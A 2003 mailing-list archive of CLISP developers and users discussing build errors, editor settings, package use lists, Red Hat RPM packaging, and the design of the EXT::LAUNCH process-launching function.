font-rules are gone and default is used. Please check this out)

stefan




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> * In message <3ED1262E.1040607@libero.it>
> * On the subject of "[clisp-list] making clisp 2.20"
> * Sent on Sun, 25 May 2003 22:23:10 +0200
> * Honorable Giulio Quaresima <faunonet@libero.it> writes:
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> spvw.o(.text+0xdf9): undefined reference to `tgetent'
> spvw.o(.text+0xe0e): undefined reference to `tgetnum'

do you have ncurses installed?

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There  is this strange  behavior of  system::editor-name which  is not
even coherent with its source in edit.lisp:

[46]> system::*editor*
"emacsclient --no-wait"
[47]> (system::editor-name)
"emacsclient"
[48]> custom::*editor*
"emacsclient --no-wait"
[49]> (custom::editor-name)

What's the difference  between system::*editor* and custom::*editor* ?
None it seems. But then, it's even worse for system::editor-name:

[51]> (setq custom::*editor* "toto")
"toto"
[52]> system::*editor*
"toto"
[53]> (system::editor-name)
"emacsclient"



I think I'll  write my own ED function... We must  wait when editing a
function, but when  editing a file, I'd prefer  being able to continue
using clisp.



[54]> (lisp-implementation-version)
"2.30 (released 2002-09-15) (built on thalassa.informatimago.com [213.220=
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Hi. I'm new to clisp, so bear with me. In any case when I try to use defun to define functions I get the error that the function defun is not defined. 
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sd sf writes:
> Hi. I'm new to clisp, so bear with me. In any case when I try to use
> defun to define functions I get the error that the function defun is
> not defined.
> I have clisp 2.30.
> What could be the problem?

That  may  occur when  you  are  in a  package  that  does not  import
COMMON-LISP:

[15]> (defpackage "POOR-LIL-PACKAGE" (:use))
#<PACKAGE POOR-LIL-PACKAGE>
[16]> (in-package "POOR-LIL-PACKAGE")
#<PACKAGE POOR-LIL-PACKAGE>
POOR-LIL-PACKAGE[17]> (defun my-fun () :not-fun)
*** - COMMON-LISP:EVAL: the function DEFUN is undefined
1. Break POOR-LIL-PACKAGE[18]>=20


The solution would be to add "COMMON-LISP" to the use list:

[2]> (defpackage "POOR-LIL-PACKAGE" (:use "COMMON-LISP"))
#<PACKAGE POOR-LIL-PACKAGE>
[9]> (in-package "USER")
#<PACKAGE COMMON-LISP-USER>
[10]> (defun my-fun () :not-fun)
MY-FUN
[11]>=20



Another  reason could  be if  you  played with  the readertable.   The
symbols in  COMMON-LISP package  are all in  upper case.   The default
readertable convert  lower-case to  upper-case, but if  it's modified,
you could get the |defun| symbol instead of the |DEFUN| symbol, and of
course, |defun| is not defined...



If it's  not one of these  cases, please explain in  more details what
you're doing to get the error message!

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> * In message <20030531034927.1A2619FA78@thalassa.informatimago.com>
> * On the subject of "[clisp-list] editor-name ?"
> * Sent on Sat, 31 May 2003 05:49:27 +0200 (CEST)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
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> What's the difference  between system::*editor* and custom::*editor* ?

none:

(eq 'system::*editor* 'custom::*editor*)
T

> But then, it's even worse for system::editor-name:
> 
> [51]> (setq custom::*editor* "toto")
> "toto"
> [52]> system::*editor*
> "toto"
> [53]> (system::editor-name)
> "emacsclient"

editor-name is defined in config.lisp like this:

(defun editor-name () (or (getenv "EDITOR") *editor*))

it is up to you to edit config.lisp to your tastes.


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Sam Steingold writes:
> > * In message <20030531034927.1A2619FA78@thalassa.informatimago.com>
> > * On the subject of "[clisp-list] editor-name ?"
> > * Sent on Sat, 31 May 2003 05:49:27 +0200 (CEST)
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> > What's the difference  between system::*editor* and custom::*editor* =
?
>=20
> none:
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> (eq 'system::*editor* 'custom::*editor*)
> T
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> > But then, it's even worse for system::editor-name:
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> > "toto"
> > [52]> system::*editor*
> > "toto"
> > [53]> (system::editor-name)
> > "emacsclient"
>=20
> editor-name is defined in config.lisp like this:
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> it is up to you to edit config.lisp to your tastes.

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Hello,

some time ago I was asked by one of the developers to include clisp to
my Red Hat rpm repository at http://atrpms.physik.fu-berlin.de/.

Currently some support issues came up like whether this or that
configure switch should be part of the rpm build or adding this and
that patch from Suse/Gentoo etc.

Unfortunately I myself am not a member of the clisp community and
don't use clisp at all, so these issues are beyond my grasp.

Is someone from the clisp community voluntaring to these QA tasks? If
there isn't any interest, I will withdraw the Red Hat rpm, since
currently users relay on a working rpm, and I don't know whether they
are getting one.

Having said that, a new rpm for Red Hat 9 (possibly working also for
Red Hat 8.0) has been uploaded containg some suggestions from Daniel
Tourde. I hope it works ...

	http://atrpms.physik.fu-berlin.de/dist/rh9/clisp/

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> * In message <20030603084815.GA3456@puariko.nirvana>
> * On the subject of "[clisp-list] Red Hat 9 rpms"
> * Sent on Tue, 3 Jun 2003 10:48:15 +0200
> * Honorable Axel Thimm <Axel.Thimm@physik.fu-berlin.de> writes:
>
> some time ago I was asked by one of the developers to include clisp to
> my Red Hat rpm repository at http://atrpms.physik.fu-berlin.de/.

we appreciate that you did it.
we link to your package from the CLISP home page http://clisp.cons.org,
so if you decide to withdraw it, please notify this list so that we
will remove the link.

> Currently some support issues came up like whether this or that
> configure switch should be part of the rpm build or adding this and
> that patch from Suse/Gentoo etc.

Most of the patches from Suse/Gentoo/*BSD &c are actually taken from
the CLISP CVS (as is often indicated by the "upstream" marker).

> Unfortunately I myself am not a member of the clisp community and
> don't use clisp at all, so these issues are beyond my grasp.

You should tell your users to direct all non-packaging questions to
<clisp-list>.

> Is someone from the clisp community voluntaring to these QA tasks? If
> there isn't any interest, I will withdraw the Red Hat rpm, since
> currently users relay on a working rpm, and I don't know whether they
> are getting one.

<clisp-list> volunteers. :-)

> Having said that, a new rpm for Red Hat 9 (possibly working also for
> Red Hat 8.0) has been uploaded containg some suggestions from Daniel
> Tourde. I hope it works ...
> 
> 	http://atrpms.physik.fu-berlin.de/dist/rh9/clisp/

Thanks.
Unfortunately, "atrpms is needed by clisp-2.30-4".
--nodeps helps, but I would not expect the users to appreciate it.
the package indeed works.



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On Tue, Jun 03, 2003 at 09:52:13AM -0400, Sam Steingold wrote:
> > Unfortunately I myself am not a member of the clisp community and
> > don't use clisp at all, so these issues are beyond my grasp.
>=20
> You should tell your users to direct all non-packaging questions to
> <clisp-list>.

Unfortunately it is difficult to tell whether any issues are due to
packaging or true bugs.

> > Is someone from the clisp community voluntaring to these QA tasks? If
> > there isn't any interest, I will withdraw the Red Hat rpm, since
> > currently users relay on a working rpm, and I don't know whether they
> > are getting one.
>=20
> <clisp-list> volunteers. :-)

O.K., let's make the arrangement that I refer all issues I don't
understand to clisp-list.

> > Having said that, a new rpm for Red Hat 9 (possibly working also for
> > Red Hat 8.0) has been uploaded containg some suggestions from Daniel
> > Tourde. I hope it works ...
> >=20
> > 	http://atrpms.physik.fu-berlin.de/dist/rh9/clisp/
>=20
> Thanks.
> Unfortunately, "atrpms is needed by clisp-2.30-4".

Yes, get this phony package also from

     http://atrpms.physik.fu-berlin.de/name/atrpms/

Its purpose is to identify all packages installed on your system
originating from atrpms.physik.fu-berlin.de, so that one can ease
upgrading/migration processes.

> the package indeed works.

Thanks for the feedback!
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> * In message <20030603142127.GA32137@puariko.nirvana>
> * On the subject of "Re: Red Hat 9 rpms"
> * Sent on Tue, 3 Jun 2003 16:21:27 +0200
> * Honorable Axel Thimm <Axel.Thimm@physik.fu-berlin.de> writes:
>
> O.K., let's make the arrangement that I refer all issues I don't
> understand to clisp-list.

fine.

> > Unfortunately, "atrpms is needed by clisp-2.30-4".
> 
> Yes, get this phony package also from
> 
>      http://atrpms.physik.fu-berlin.de/name/atrpms/

it would be a good idea to list all the dependencies in the same page
as the package itself.


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Hi all,

In August last year a missing error stream keyword for
ext:run-shell-command was discussed and Marco Baringer said he'd be
"happy to take a whack at" implementing it. Did this ever get
implemented in the CVS version of CLISP?

Regardless, I'm so looking forward to CLISP version 2.31.

Thanks,
Adam

PS: Sam Steingold approved of implementing this
(23 Aug 2002 11:02:17 -0400):

> * In message <m2u1llejhm.fsf@bese.it>
> * On the subject of "Re: [clisp-list] How to suppress / redirect standard error?"
> * Sent on 23 Aug 2002 16:29:41 +0200
> * Honorable Marco Baringer <empb@bese.it> writes:
>
> 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT
>    and :OUTPUT? (Sam, if you don't have objections i'd be happy to
>    take a whack at this.)

go ahead!

> 2) Why can't one specify a stream as the arg to :OUTPUT or :INPUT?

a missing feature?

thanks!



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Dear Sir or Madam,  

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> * In message <1054689769.3310.24.camel@work.consulting.net.nz>
> * On the subject of "[clisp-list] Separate Unix error stream keyword for ext:run-shell-command"
> * Sent on 04 Jun 2003 13:22:50 +1200
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> In August last year a missing error stream keyword for
> ext:run-shell-command was discussed and Marco Baringer said he'd be
> "happy to take a whack at" implementing it. Did this ever get
> implemented in the CVS version of CLISP?

Arseny is working on this - see EXT::LAUNCH (internal!)

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>> In August last year a missing error stream keyword for
>> ext:run-shell-command was discussed and Marco Baringer said he'd be
>> "happy to take a whack at" implementing it. Did this ever get
>> implemented in the CVS version of CLISP?

> Arseny is working on this - see EXT::LAUNCH (internal!)

I'm slighltly confused about making it user-level. It is very similar
to run-program and run-shell-command but it is more `direct' and does
slightly more. But old ones are available on OS/2 (I'm not sure
whether current clisp is still compileable on OS/2). Well, I'll
document it and make user level. This is short description for
discussion. BTW, Sam, did you changed default behavior to `don\'t wait'
intentionally ?

/* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error])
   Launches a program.
   :arguments : a list of strings
   :wait - nullp/not nullp - whether to wait for process to finish
   :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2)
   :input, :output, :error - i/o/e streams for process. basically file-streams
     or terminal-streams. see stream_lend_handle() in stream.d for full list
     of supported streams
     returns: exit code (zero when (nullp wait))  */

-- 
Best regards,
 Arseny    




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On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote:
> >> In August last year a missing error stream keyword for
> >> ext:run-shell-command was discussed and Marco Baringer said he'd be
> >> "happy to take a whack at" implementing it. Did this ever get
> >> implemented in the CVS version of CLISP?
> 
> > Arseny is working on this - see EXT::LAUNCH (internal!)
> 
> I'm slighltly confused about making it user-level. It is very similar
> to run-program and run-shell-command but it is more `direct' and does
> slightly more. But old ones are available on OS/2 (I'm not sure
> whether current clisp is still compileable on OS/2). Well, I'll
> document it and make user level. This is short description for
> discussion. BTW, Sam, did you changed default behavior to `don\'t wait'
> intentionally ?
> 
> /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error])
>    Launches a program.
>    :arguments : a list of strings
>    :wait - nullp/not nullp - whether to wait for process to finish
>    :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2)
>    :input, :output, :error - i/o/e streams for process. basically file-streams
>      or terminal-streams. see stream_lend_handle() in stream.d for full list
>      of supported streams
>      returns: exit code (zero when (nullp wait))  */

Looks great. I'll be able to eliminate all the unnecessary but verbose
messages currently clutering up my Apache logs (e.g. every time ls
"fails" by not finding a particular wildcard match--Note that I do know
about other file location options).

Thanks,
Adam



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> * In message <15329851764.20030605005129@ich.dvo.ru>
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> >> "happy to take a whack at" implementing it. Did this ever get
> >> implemented in the CVS version of CLISP?
> 
> > Arseny is working on this - see EXT::LAUNCH (internal!)
> 
> I'm slighltly confused about making it user-level. It is very similar
> to run-program and run-shell-command but it is more `direct' and does
> slightly more. But old ones are available on OS/2 (I'm not sure
> whether current clisp is still compileable on OS/2).

OS/2 has been officially dead and unsupported (by IBM) for years.

> Well, I'll document it and make user level.

Please don't.
We already have a whole bunch of built-in functions that do
similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM,
MAKE-PIPE-IO-STREAM.
That's more than enough.
I want to have just one single built in.
Let us make LAUNCH user-level only when it has absorbed all the
functionality of the 4 other commands, and implement them as calling
LAUNCH and deprecate them.

In particular, it means that it needs an :INDIRECT argument to indicate
that a shell should be called.  Note that win32 calls CreateProcess()
which, I think, calls a shell(?), while unix uses execvp() which does
not...

It will also need to accept :STREAM as the :INPUT/:OUTPUT/:ERROR
argument to mean to create - and return - a new stream.

> BTW, Sam, did you changed default behavior to `don\'t
> wait' intentionally ?

no, sorry.  I will fix that.

> /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error])
>    Launches a program.
>    :arguments : a list of strings
>    :wait - nullp/not nullp - whether to wait for process to finish
>    :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2)
>    :input, :output, :error - i/o/e streams for process. basically file-streams
>      or terminal-streams. see stream_lend_handle() in stream.d for full list
>      of supported streams
>      returns: exit code (zero when (nullp wait))  */

it returns NIL if wait is NIL.
(should probably return the PID, INPUT, OUTPUT, ERROR?)

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On Wednesday, Jun 4, 2003, at 10:53 US/Eastern, Sam Steingold wrote:
> t returns NIL if wait is NIL.
> (should probably return the PID, INPUT, OUTPUT, ERROR?)

This has all been interesting to follow.
I'm wondering, did I miss a message or five about how one might be able 
to wait for a subprocess started without waiting. Sometimes I need to 
run a subprocess :wait nil and yet later be able to get its exit 
status... Esp. if I want to start a lot of them and not have zombies 
floating around... ;-)

Just a thought...

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Douglas Philips writes:
> On Wednesday, Jun 4, 2003, at 10:53 US/Eastern, Sam Steingold wrote:
> > t returns NIL if wait is NIL.
> > (should probably return the PID, INPUT, OUTPUT, ERROR?)
>=20
> This has all been interesting to follow.
> I'm wondering, did I miss a message or five about how one might be able=
=20
> to wait for a subprocess started without waiting. Sometimes I need to=20
> run a subprocess :wait nil and yet later be able to get its exit=20
> status... Esp. if I want to start a lot of them and not have zombies=20
> floating around... ;-)
>=20
> Just a thought...
>=20
> <D\'gou

Use linux:wait or linux:waitpid (with the no hang option).

This  notion of  waiting on  a  processus is  strongly unix-related  I
think.  So using a POSIX, or in the lack of it, a unix or linux API is
acceptable.

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> Use linux:wait or linux:waitpid (with the no hang option).
>
> This  notion of  waiting on  a  processus is  strongly unix-related  I
> think.  So using a POSIX, or in the lack of it, a unix or linux API is
> acceptable.

Agreed.

Unfortunately last I tried to build the CVS head on Mac OS/X it didn't 
build.
I'm running 2.29 (under Jaguar 10.2.5) and don't have that function. 
Sigh.
I didn't have time to track down the build failure before. Maybe this 
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-Doug



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> * In message <m3y90hzv8l.fsf@totally-fudged-out-message-id>
> * On the subject of "Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command"
> * Sent on Wed, 4 Jun 2003 11:18:52 -0400
> * Honorable Douglas Philips <dgou@mac.com> writes:
>
> On Wednesday, Jun 4, 2003, at 10:53 US/Eastern, Sam Steingold wrote:
> > t returns NIL if wait is NIL.
> > (should probably return the PID, INPUT, OUTPUT, ERROR?)
> 
> I'm wondering, did I miss a message or five about how one might be
> able to wait for a subprocess started without waiting. Sometimes I
> need to run a subprocess :wait nil and yet later be able to get its
> exit status... Esp. if I want to start a lot of them and not have
> zombies floating around... ;-)

good point.

Arseny, could you please add a function EXT:WAIT, based on
WaitForSingleObject() on woe32 and waitpid() on Unix
<http://www.opengroup.org/onlinepubs/007904975/functions/wait.html>
[I do not have access to woe32 docs, so I have to pass this to you :-)
with the following signature:

(WAIT pid &key :hang-p)

returning 1 or 2 values:
if the process exited, then
        value1 = :EXIT
        value2 = status
if the process was signalled, then
        value1 = :SIGNAL
        value2 = signal number
if the process was stopped, then
        value1 = :STOP
        value2 = signal number
if the process was continued,
        value1 = :CONTINUE

of course we will need to accomodate the differences between woe32 and
unix.

I suggest that we use this function in (LAUNCH ... :WAIT NIL)

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Hello Sam,

Thursday, June 05, 2003, 2:31:47 AM, you wrote:

> Arseny, could you please add a function EXT:WAIT

> of course we will need to accomodate the differences between woe32 and
> unix.

Give me a handle and I... I believe we need a lisp type 'process'
being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for
it. But I have never created lisp types from scratch.

As about run-program/run-shell-command: is the ability of creating
pipe-streams so critical ? How widely it is used ? It's break all the
simplicity of the function interface.

-- 
Best regards,
 Arseny    




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Hello Arseny,

> * In message <434162114.20030605093108@ich.dvo.ru>
> * On the subject of "Re[4]: Separate Unix error stream keyword for ext:run-shell-command"
> * Sent on Thu, 5 Jun 2003 09:31:08 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Thursday, June 05, 2003, 2:31:47 AM, you wrote:
> 
> > Arseny, could you please add a function EXT:WAIT
> 
> > of course we will need to accomodate the differences between woe32 and
> > unix.
> 
> Give me a handle and I... I believe we need a lisp type 'process'
> being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for
> it. But I have never created lisp types from scratch.

why isn't process handle / PID enough?

> As about run-program/run-shell-command: is the ability of creating
> pipe-streams so critical ? How widely it is used ? It's break all the
> simplicity of the function interface.

pipes are absolutely crucial.


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On 4 Jun 2003, Sam Steingold wrote:

> Hello Arseny,
> 
> > As about run-program/run-shell-command: is the ability of creating
> > pipe-streams so critical ? How widely it is used ? It's break all the
> > simplicity of the function interface.
> 
> pipes are absolutely crucial.

Without pipes, you can't do any Unix systems programming with CLISP;
the kind of stuff that is done with awk, perl, etc.

Pipes are used Meta-CVS, for instance, to read the output of ``cvs log'' 
on a file, which contains all kinds of useful information that can be
parsed out.  The ``mcvs merge'' command critically depends on this; it
reads the list of tags to figure out what has been merged last and how
to tag the module to delimit the present merge.



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Hello Sam,

Thursday, June 05, 2003, 8:43:02 AM, you wrote:

>> > Arseny, could you please add a function EXT:WAIT
>> > of course we will need to accomodate the differences between woe32 and
>> > unix.
>> Give me a handle and I... I believe we need a lisp type 'process'
>> being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for
>> it. But I have never created lisp types from scratch.
> why isn't process handle / PID enough?
You mean passing (uint)HANDLE as fixnum to lisp ?
Not abstract enough to my taste... No typecheck... Not extendable.
No guarantee we will not want to store additional info some day. Users
would do (loop for i from 0 to 10000 do (kill i)).

Possibly I don't realize the overhead of a new type. Is it too big ?

>> As about run-program/run-shell-command: is the ability of creating
>> pipe-streams so critical ? How widely it is used ? It's break all the
>> simplicity of the function interface.
> pipes are absolutely crucial.

Why not to extend make-pipe-*-stream instead (trying to keep the
code reused) ? Another way I like even more - to make unopened
make-pipe-*-stream and pass it as stream to launch - how do you like
it ?

-- 
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> * In message <1939103870.20030605105329@ich.dvo.ru>
> * On the subject of "Re: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command"
> * Sent on Thu, 5 Jun 2003 10:53:29 +1000
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> Thursday, June 05, 2003, 8:43:02 AM, you wrote:
> 
> >> > Arseny, could you please add a function EXT:WAIT
> >> > of course we will need to accomodate the differences between woe32 and
> >> > unix.
> >> Give me a handle and I... I believe we need a lisp type 'process'
> >> being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for
> >> it. But I have never created lisp types from scratch.
> > why isn't process handle / PID enough?
> You mean passing (uint)HANDLE as fixnum to lisp ?
> Not abstract enough to my taste... No typecheck... Not extendable.

yeah...

> No guarantee we will not want to store additional info some day.

like what?  a process is a just a process ID.
all other information can be accessed via a system call.

> Users would do (loop for i from 0 to 10000 do (kill i)).

why not? :-)
they will be able to write /etc/rc.d/* in CLISP!

if you are worried about "safety and security",
then don't run CLISP as root.

> Possibly I don't realize the overhead of a new type. Is it too big ?

you need to add a bunch of objects in constobj.d, modify io.d,
predtype.d, and a zillion other places.

If we do decide to add such a new type, we should have a generic
OS-HANDLE type which will point to an FD or PID or whatever else.

> >> As about run-program/run-shell-command: is the ability of creating
> >> pipe-streams so critical ? How widely it is used ? It's break all the
> >> simplicity of the function interface.
> > pipes are absolutely crucial.
> 
> Why not to extend make-pipe-*-stream instead (trying to keep the code
> reused) ?

we already have create_input_pipe() and friends, they should be called
by LAUNCH when necessary.
Except that they use shell and LAUNCH should not use shell, unless
given the :INDIRECT T argument.

> Another way I like even more - to make unopened make-pipe-*-stream and
> pass it as stream to launch - how do you like it ?

I don't think I like this.
how is
(launch ... :input (make-pipe-input-stream))
better than
(launch ... :input :stream)
?

if the only thing you can do with the return value of
MAKE-PIPE-INPUT-STREAM is pass it to LAUNCH, then this is not a good
idea, IMO.

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On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote:

> /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error])
>    Launches a program.
>    :arguments : a list of strings
>    :wait - nullp/not nullp - whether to wait for process to finish
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>      or terminal-streams. see stream_lend_handle() in stream.d for full list
>      of supported streams
>      returns: exit code (zero when (nullp wait))  */

Thanks for this info. I've now built and installed an i386 Debian
package of the CVS version of CLISP and can confirm that this works!

But so far I've only been able to grok the syntax for file streams.
Here's an example:

(with-open-file
    (stream "file.txt" :direction :output :if-exists :supersede)
  (ext::launch "ls" :arguments '("-1" "does-not-exist")
               :error stream :wait t :priority 0))

The file "does-not-exist" does not exist and the error output is written
to "file.txt" instead of appearing in the teminal.

Is there any way to currently avoid output to a file without outputting
to a terminal? As the documentation says only file streams and terminal
streams are supported it explains why this is not possible:

[31]> (setf a (make-string-output-stream))
#<output string-output-stream>
[32]> (stream-element-type a)
character
[33]> (ext::launch "ls" :arguments '("-1" "does-not-exist") :error a
:wait t :priority 0))

*** - ext::launch: argument #<output string-output-stream> does not
contain a valid OS stream handle
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Many thanks,
Adam



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> * In message <1054794594.19773.17.camel@work.consulting.net.nz>
> * On the subject of "Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command"
> * Sent on 05 Jun 2003 18:29:54 +1200
> * Honorable Adam Warner <lists@consulting.net.nz> writes:
>
> On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote:
> 
> > /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error])
> >    Launches a program.
> >    :arguments : a list of strings
> >    :wait - nullp/not nullp - whether to wait for process to finish
> >    :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2)
> >    :input, :output, :error - i/o/e streams for process. basically file-streams
> >      or terminal-streams. see stream_lend_handle() in stream.d for full list
> >      of supported streams
> >      returns: exit code (zero when (nullp wait))  */
> 
> Thanks for this info. I've now built and installed an i386 Debian
> package of the CVS version of CLISP and can confirm that this works!
> 
> But so far I've only been able to grok the syntax for file streams.
> Here's an example:
> 
> (with-open-file
>     (stream "file.txt" :direction :output :if-exists :supersede)
>   (ext::launch "ls" :arguments '("-1" "does-not-exist")
>                :error stream :wait t :priority 0))
> 
> The file "does-not-exist" does not exist and the error output is written
> to "file.txt" instead of appearing in the teminal.

this is the intended behavior.

> Is there any way to currently avoid output to a file without
> outputting to a terminal?

:ERROR NIL is not supported yet, so, I guess, you will need to do

(with-open-file (null "/dev/null" :direction :output :if-exists :append)
  (launch ... :error null))

how should :ERROR NIL be implemented?
should we open /dev/null and remember the FD?
what is the standard way?

> As the documentation says only file streams and terminal
> streams are supported it explains why this is not possible:
> 
> [31]> (setf a (make-string-output-stream))
> #<output string-output-stream>
> [32]> (stream-element-type a)
> character
> [33]> (ext::launch "ls" :arguments '("-1" "does-not-exist") :error a
> :wait t :priority 0))
> 
> *** - ext::launch: argument #<output string-output-stream> does not
> contain a valid OS stream handle
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead.

1. what is not clear in the above?
   please remember that neither Arseny nor myself (nor Bruno, for that
   matter) is a native English speaker, so you should be doubly careful
   with your English so that we will understand you.  thanks.

2. how should (launch ... :output (make-string-output-stream)) be
   implemented?  with a (named?) pipe from which a new CLISP thread
   will read and copy into the string stream?

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Hi,

Sam Steingold wrote:
>if you are worried about "safety and security",
>then don't run CLISP as root.

Why not!?

Running clisp as root is exactly what I had plans to do.
I'd prefer having clisp run as root than perl do that any day.

And I'd prefer not having perl on a security-related system (it's like meeting the hacker's expectations).
So clisp maybe a good replacement. Maybe I should learn scsh.

Of course, one may argue that that's just another instance of "security by obscurity". Yet attacks on standard server port numbers (e.g. 1521 or 1433 etc. for database servers) or MS-Outlook show that such cheap measures nevertheless help.

However these days, having a system without perl is hard to achieve. It comes with a lot of software, even from security companies.

Regards,
	Jorg Hohle.



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Hi,

here are my (unasked for) comments on this issue:

>> I'm slighltly confused about making it user-level. It is very similar
>> to run-program and run-shell-command but it is more `direct' and does

>We already have a whole bunch of built-in functions that do
>similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM,
>MAKE-PIPE-IO-STREAM.
>That's more than enough.
>I want to have just one single built in.
>Let us make LAUNCH user-level only when it has absorbed all the
>functionality of the 4 other commands, and implement them as calling
>LAUNCH and deprecate them.

I'm opposed to such global removal. It's would be a Schemesque approach (i.e. "why do you need catch/throw/block/return/ignore-errors/handler-case when all is needed is call/cc?").

Another argument to this issue is: higher-level stuff (e.g. ignore-errors) is usually easier to mimic than passing through a single primitive (i.e. call/cc).

For instance, a naive (mini) CL on top of a JVM would easily provide IGNORE-ERRORS. It cannot easily provide handler-bind, because exception semantics are really different (cf. unwinding of stack in exceptional situations).


Please leave in a kiss-style (SHELL &optional cmd+args), which does several things:
+ ability to suspend CLISP, portably invoking a user-shell shell
 (please don't tell me that I can just open another X window).
+ ability to trust the programmer or user when s/he knows exactly what
 to pass to the shell instead of having CLISP second-guess quoting issues
 on all systems or situations where the execvlpe() family of calls may
 not be used. Second-guessing is always going to fail in some situations,
 typically where a cygwin-compiled program tries to invoke a native one,
 or vice-versa.


o Similarly, make-pipe-... stream are easy to comprehend and relatively easy to implement, even without a full-featured launch. E.g. On AmigaOS, it could be nothing more than
(open "APIPE:ls mydev:foo sort" :direction :input), on systems where the freeware APIPE device handler is installed.
LAUNCH may possibly allow more features, e.g. have the programmer choose whether stderr goes or not to a single Lisp-input-stream shared with stdout. That's a definitive plus.


>(with-open-file (null "/dev/null" :direction :output :if-exists :append)
o Please support :stream nil or some such convention, because having the programmer to use "/dev/null" in code will immediately loose the portability that CLISP tries to maintain.

Heck, I use CLISP for its portability!
People, please try to avoid gratuitous system dependencies.


o a PID is an abstract data type where portability matters. On UNIX it's known to be a small integer (for better or worse[*]), on MS-Windows it may very well be a pointer (don't know), and on AmigaOS it *is* a pointer. It will be hard for (LAUNCH :asynchronous t) to return a portable thing -- at least return an abstract/opaque thing.

>But I have never created lisp types from scratch.
In some situations (e.g. rexx-send-command) we used to just return a FOREIGN-POINTER object. Formerly, we used a simple bit-vector -- at least it was something else than an integer, and EQ-ness could be checked for, preventing fake arguments!
What I mean here is it can be enough to agree to either document that the exact type is purposely not documented and to be considered opaque, even though it may happen to be an integer on some systems, or document all OS cases.
(dotimes (i 10000) (posix:kill i)) is perfectly fine, since for POSIX, pids are tiny integers (or am I wrong here?).


Enough said, maybe I shall go Python instead.

[*] Please write an essay on the pros and cons of open() etc. using small integers vs. fopen() using FILE pointers. I'd be happy to discuss such design issues with everybody.

What I did not say (yet):
o I consider execxyz() a good thing, because it avoids tcl-style madness (the quoting problem, also known to linguists) to some extent. BTW, did you ever use find -o or -exec on UNIX?
o I also consider having EXT:[:]LAUNCH a good thing (but not that MS-Windows specific :indirect keyword, which is not understandable per se).
o Launch's ability to generate the equivalent of pipe-input/output-streams for use in Lisp is also valuable.
o I'd maybe provide a portable :priority setting (:high/:low/:normal mapping to OS&context dependent values) for portability-aware programmers. It's just cheap to do so.
o Having two distinct Lisp-side streams for reading stdout & stderr command output can result in deadlocks.
o An advantage of MAKE-PIPE-*-STREAM over LAUNCH is that it does not have to deal with producing PID objects/values that the programmer doesn't care about. That's another reason why it's easier to implement or provide portably (cf. call/cc).
o BTW, I think I've seen MAKE-PIPE-*-STREAM produce zombies (or just unusable processes) on Linux (e.g. forgetting about the stream and having the GC get (or not?) rid of it).

Regards,
	Jorg Hohle.


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On Fri, 2003-06-06 at 01:59, Sam Steingold wrote:
> > * In message <1054794594.19773.17.camel@work.consulting.net.nz>
> > * On the subject of "Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command"
> > * Sent on 05 Jun 2003 18:29:54 +1200
> > * Honorable Adam Warner <lists@consulting.net.nz> writes:
> >
> > On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote:
> > 
> > > /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error])
> > >    Launches a program.
> > >    :arguments : a list of strings
> > >    :wait - nullp/not nullp - whether to wait for process to finish
> > >    :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2)
> > >    :input, :output, :error - i/o/e streams for process. basically file-streams
> > >      or terminal-streams. see stream_lend_handle() in stream.d for full list
> > >      of supported streams
> > >      returns: exit code (zero when (nullp wait))  */
> > 
> > Thanks for this info. I've now built and installed an i386 Debian
> > package of the CVS version of CLISP and can confirm that this works!
> > 
> > But so far I've only been able to grok the syntax for file streams.
> > Here's an example:
> > 
> > (with-open-file
> >     (stream "file.txt" :direction :output :if-exists :supersede)
> >   (ext::launch "ls" :arguments '("-1" "does-not-exist")
> >                :error stream :wait t :priority 0))
> > 
> > The file "does-not-exist" does not exist and the error output is written
> > to "file.txt" instead of appearing in the teminal.
> 
> this is the intended behavior.

Yes. I was only describing a working example.

> > Is there any way to currently avoid output to a file without
> > outputting to a terminal?
> 
> :ERROR NIL is not supported yet, so, I guess, you will need to do
> 
> (with-open-file (null "/dev/null" :direction :output :if-exists :append)
>   (launch ... :error null))

Thanks for the tip.

> how should :ERROR NIL be implemented?
> should we open /dev/null and remember the FD?
> what is the standard way?

I don't know what the standard way is.

> > As the documentation says only file streams and terminal
> > streams are supported it explains why this is not possible:
> > 
> > [31]> (setf a (make-string-output-stream))
> > #<output string-output-stream>
> > [32]> (stream-element-type a)
> > character
> > [33]> (ext::launch "ls" :arguments '("-1" "does-not-exist") :error a
> > :wait t :priority 0))
> > 
> > *** - ext::launch: argument #<output string-output-stream> does not
> > contain a valid OS stream handle
> > The following restarts are available:
> > USE-VALUE      :R1      You may input a value to be used instead.
> 
> 1. what is not clear in the above?

Your language is very clear thanks. You appear to have confirmed that
currently the only way to grab the stream contents is by writing to the
filesystem and then reading the file back in.

> 2. how should (launch ... :output (make-string-output-stream)) be
>    implemented?  with a (named?) pipe from which a new CLISP thread
